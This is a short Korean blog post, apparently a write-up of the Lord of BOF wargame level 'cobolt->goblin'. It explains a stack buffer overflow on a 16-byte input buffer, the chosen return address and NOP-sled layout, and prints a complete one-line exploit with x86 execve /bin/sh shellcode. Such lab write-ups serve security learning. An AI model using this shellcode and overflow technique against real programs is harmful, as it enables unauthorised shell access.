LOB cobolt->goblin
by St1tchgoblin.c를 보면 main에 인자가 없고 크기16인 버퍼에 값을 입력하는 간단한 구조이다.
shell코드가 16보다 크기 때문에 다른 방법을 찾아야한다.
main을 보면 dummy가 없이 깔끔하게 되어있다.
나는 ret뒤쪽을 nop으로 채우고 그 뒤에 shellcode를 삽입하는 형태로 공격을 했다.
스택구조는 아래와 같다.
이런식으로 진행을 공격을 할거다.
일단 스택에 값을 채워넣고 ebp+8의 주소를 알아냈다.
시작시 인자를 입력할 수 없으므로, python코드를 간단히 짠 뒤 출력을 해주고 그 출력된 txt파일을 입력하는 형태로 실행했다.
ebp+8의 주소는 0xbffffc90이다.
여기 부터 nop을 256개 채우고 그 뒤에 쉘코드를 입력할 것이다.
리턴주소는 0xbffffc90이 아닌 조금 뒤의 주소, 적당히 nop슬라이드를 탈수 있는 주소로 설정했다.
(조금 오차가 있기 때문에, 0xbffffc90을 해도 되긴된다. 안되면 (0xbffffc90 ~ 0xbfffd90)사이의 주소로 설정하면 됨)
exploit code
(python -c 'print "\x90" * 20 + "\x01\xfd\xff\xbf" + "\x90"*256 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'; cat) | ./goblin
블로그의 정보
튜기's blogg(st1tch)
St1tch